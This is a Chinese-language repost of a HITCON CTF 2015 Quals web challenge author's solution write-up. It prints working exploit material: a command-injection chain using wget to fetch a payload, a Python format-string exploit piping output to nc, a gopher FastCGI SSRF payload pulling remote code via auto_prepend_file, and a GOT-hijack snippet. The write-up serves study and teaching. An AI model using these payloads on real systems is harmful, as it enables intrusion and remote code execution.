首页 > 安全 > 网站安全 > 正文
HITCON CTF 2015 Quals Web出题心得
2015-10-20 10:11:08       个评论    来源:WooYun知识库  
收藏    我要投稿


p.s. 相在关代码皆放在 Github 上,有兴趣研究之同学可以先看看代码尝试解解看后在叙述!

 
写在 HITCON CTF 2015 Quals 之后 。作为出题团队的一员,不得不说这次的难度真的不是有点高而已XD,不过就身为 DEFCON 种子赛我觉得可以说是名符其实! :)
 
这次负责了所有的 Web 题目。私心来说都是自信之作,把自己最近研究的一些东西出成题目XD,就参赛者反应来说,让他们在解题时觉得很难但解出后会有「原来如此」、「还可以这样玩」的感觉是我这次主要出题的目的XD

0x01 100 BabyFirst (33 队解)
<?php
    highlight_file(__FILE__);
    $dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
    if ( !file_exists($dir) )
        mkdir($dir);
    chdir($dir);
    $args = $_GET['args'];
    for ( $i=0; $i<count($args); $i++ ){
        if ( !preg_match('/^\w+$/', $args[$i]) )
            exit();
    }
    exec("/bin/orange " . implode(" ", $args));
?>
https://gist.github.com/orangetw/cb3487e47d7aaaea4692

作为本次 Web 最简单的题目,纯代码分析并且只有十五行程式码而已 ,在比赛开始后两小时才有人解出
 
简单使用 \n 就可以绕过常见正规表示式没有 match multiline 的问题, 不过难点在于可以 Command Injection 但是指令都限制在是 a-zA-Z0-9_ 这也是最有趣的地方,每个队伍的想法都不一样所以会有很多种解法!
 
自己的官方解法是
 
mkdir orange
cd orange
wget HEXED_IP
tar cvf payload orange
php payload
就可以任意代码执行
 
从 log 中有看到其他队伍的解法是
 
busybox ftpget ...
 
或是
 
twistd telnet ...
 
或是
 
wget HEX_IP
// 给个 302 Redirect 到 FTP protocol 上,也是这题解法中最讶异的XD
// 本来还检查过 wget source code 想说产生的 index.html 应该不可控,结果居然到 FTP Protocol 上竟然就可以控  
总体来讲也看到各种玩 Command Line 的极限XD 学到满多用法的
 
最为出题者来讲我觉得是最成功的一题,简单好玩又有趣!
 
0x02 200 nanana (18 队解)

https://gist.github.com/orangetw/4942d949134227eedd4c
 
xxd -r -p nanana.xxd > nanana
名为 Web 实际上却是 Pwn 的题目
 
只提供 binary 并无提供 libcgid.so 所以必须在没有 library 的状况下解决这题!简单的 Format String 但没有 output (sprintf),把 do_job 的 GOT 换成 system 的 PLT 地址就可以
 
不过唯一要注意的是得先利用 stack guard 覆盖 stack smashing detected 的 ARGV1 的方式达成任意地址洩漏把 password 给洩漏出来才比较好利用。但是因为 64-bits 且送的东西无法有 NULL Byte 所以在盖 ARGV1 的时候必须用比较迂迴的方式盖
 
先使用 username 把 ARGV1 最后一个盖 NULL
再使用 username 把 ARGV1 倒数第二个盖 NULL
之后 job 盖记忆体位置(0x601090)三个 bytes 后剩下的五个 bytes 才会刚好是 NULL 以达到任意地址读取
详细 Exploit 可以参考
import requests
from urllib import urlencode
from struct import pack, unpack
 
URL = 'http://54.92.88.102/cgi-bin/nanana'
 
def leak(address):
    address = pack('I', address)
    address = address.strip('\x00')
 
    payload = {
        'username': 'A'*349, 
        'password': 'B'*380, 
        'job': 'C'*392 + address
    }
    r = requests.get(URL+'?'+urlencode(payload))
    l = r.headers['*** stack smashing detected ***']
    l = l.strip(' terminated')
    l = l.ljust(8, '\x00')
    try:
        return unpack('Q', l)
    except:
        return l
 
def e(cmd, pwd):
    payload = {
        'username': cmd, 
        'password': pwd, 
        'job': '\x48\x10\x60', 
        'action': '%198x%15$hhn'
    }
    print urlencode(payload)
    r = requests.get(URL+'?'+urlencode(payload))
 
 
 
if __name__ == '__main__':
 
    pwd = leak(0x601090)
    print 'pwd @ %s' % pwd
 
    e('id | nc 127.0.0.1 12345',pwd=pwd)
https://gist.github.com/orangetw/583a73f58d49b1a3fc14
0x03 300 Giraffe's Coffee (16 队解)
 
https://gist.github.com/orangetw/4a412fb0d49cad0c4ea3
也是代码分析的题目
 
核心的概念是 PHP 中 PRNG 的预测,由于电脑很难做到真正的 "随机",所以现在大部分随机树的产生都基于 PRNG。在 PHP 中 PRNG 的实现是变形的 Mersenne Twister 演算法
 
在没有提供 seed 的下 php_mt_rand 会拿当前 pid 以及时间做一些运算当成种子,而这个 seed 是 32-bits 长的,所以是可破解
 
有些人会使用现成的工具来解,但会发现失败,无法主确的预测 PRNG 是因为当 PHP 在 Apache 下时是使用 prefork 的方式去执行,所以每次的连线都是从已经 fork 好的 process 中挑一个去给你使用。所以无法确定当前的 process PRNG 中 STATE 的状态是否为第一次 ,以及每次连线上的 process 也不一定相同所以 STATE 状态更无法预测(现成工具只会算 seed 后的第一次来比对)
 
这点可以使用 Keep-Alive 的方式来确保连上的是同一个 process,之后再原本种子的破解上多加上往 STATE 的运算(共有 624 个 STATE) 应该就可以解了!
 
0x04 400 lalala (2 队解)
 
一个可以给使用者上传图片或是提供网址帮你抓起来上传图片的服务。核心概念就是透过 302 redirect 去绕过限制实现 SSRF,并且再透过 SSRF 中的 gopher 去利用本地的 FastCGI prtocol 实现远端代码执行
 
在抓取图片的时候可以使用 302 去做 SSRF(其实很多人在研究 SSRF 的时候都忽略的 302 的妙处)
 
在 SSRF 中可以读档( Location: file://localhost/etc/passwd )
 
会发现伺服器的架构是使用 Nginx + PHP-FPM,其中 PHP-FPM fastcgi protocol 是以 bind port 的方式跑在本机上
 
在真实世界中,只要发现对方的 PHP FastCGI 是可以外连的话那就可以拿 shell。所以使用 gopher 构造 FastCGI Protocol 访问本机的 9001 port 就可以任意代码执行
 
Location: gopher://127.0.0.1:9001/x%01%01i%13%00%08%00%00%00%01%00%00%00%00%00%00%01%04i%13%00%8B%00%00%0E%03REQUEST_METHODGET%0F%0FSCRIPT_FILENAME/_www/index.php%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%09%26PHP_VALUEauto_prepend_file%20%3D%20http%3A//orange.tw/x%01%04i%13%00%00%00%00%01%05i%13%00%00%00%00
(使用 PHP_ADMIN_VALUE 把 allow_url_include 设成 on 以及新增 auto_prepend_file 到自己的网站)
 
这题比较有趣的另外一个点是,如果有实作过 SSRF 搭配 gopher 的话,应该会发现
 
Java 中的 gopher 只能接受 0x00 - 0x7f
libcurl 中的 gopher 只能接受 0x01 - 0xff
然后本题使用 PHP 中的 curl_exec ,会使用到 libcurl 无法使用 NULL Byte,但是构造 FastCGI Protocol 的话非得有 NULL Byte 不可。后来去研究了一下 libcurl 的原始码,发现是因为写得有点问题才不能使用 NULL Byte,所以送了一个 commit 过去还被接受了...XD
 
https://github.com/bagder/curl/commit/5bf36ea30d38b9e00029180ddbab73cab94a2195
所以现在新版本的 libcurl / curl 应该 gopher 都可以使用 NULL Byte 了XD
 
0x05 500 Use-After-FLEE (1 队解)(只有 PPP 解出)
 
身为 Web 最难题XD
 
许多时候,在做渗透测试时都会遇到,打进一台虚拟主机(hosting)后要去访问同主机上的其他网站会被 open_basedir 以及 disable_functions 限制住
 
但 PHP 在历史上出现过了许许多多的 Memory 上的洞,这题使用到的就是其中一个( 出题时 Ubuntu apt-get 预设安装的 PHP 还是有洞,不过写这篇文章时好像已经修了XD )
 
漏洞 PoC 的话可参考 80vul 的 PHP Codz Hacking,不过只有 PoC :(
 
https://github.com/80vul/phpcodz/blob/master/research/pch-034.md
使用 Use-After-Free 去绕过上面限制,说的好像很简单,不过在现今作业系统中有很多的保护你必须面对
 
DEP
FULL ASLR
PIE (Apache 预设全开)
FULL RELRO (Apache 预设全开)
由于环境在 Apache + mod_php 上,PHP 是以 Library 的形式被载入到 Apache 中,所以再利用难度上会增加(纯 CLI 其实很容易 Exploit),例如要自己处理 Parsing ELF 的动作XD
不过 PPP 不愧是最强队伍在比赛结束前一个半小时解出,也是唯一一队解出的队伍!
 
不过有点小遗憾的是,因为比赛平台都在 EC2 的 Ubuntu 14.04 64-bits 上,所以对于 libc 的 offset 他们直接拿其他 Pwn 题目的 libc offset 而不是透过算 STRTAB, SYMTAB, JMPREL 来把 offset 找出 :)
 
其中 PPP 中 Ricky 的 writeup
 
https://github.com/pwning/public-writeup/blob/master/hitcon2015/web500-use-after-flee/exploit.php
其中 Ricky 的利用是把 ZVAL 结构中 handler 换成 system 的位置并且这个 ZVAL 的型态宣告成 OBJECT 并且 refcount 为 0
 
struct _zval_struct {
  zvalue_value value;
  zend_uint refcount__gc;
  zend_uchar type;
  zend_uchar is_ref__gc;
};
这样 PHP 内部在处理时发现引用为 0 时会自动做 destruct 把并且把 ZVAL 当成参数丢给 handler,这时有 8 bytes 的指令长度限制可以用(所以 Ricky 使用 sh /*/a; 的做法来执行指令)。不过如果在 32-bits 下就变成 4 bytes 的长度限制几乎无法利用XD
 
比较优雅的做法可以把 GOT Hijacking 把 fopen 换成 system 之后呼叫 fopen 就可以任意指令执行
 
write($open_got, $system_address);
fopen("| $cmd", "r");

 

有兴趣的同学可以尝试写写看,并且想办法把 Exploit 写到完美! :P
点击复制链接 与好友分享!回本站首页
相关TAG标签 心得
上一篇:快递安全之亚风快运主站SQL注入命令执行导致全站沦陷
下一篇:了解XSS与防范
相关文章
图文推荐
文章
推荐
热门新闻

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训
版权所有: 红黑联盟--致力于做实用的IT技术学习网站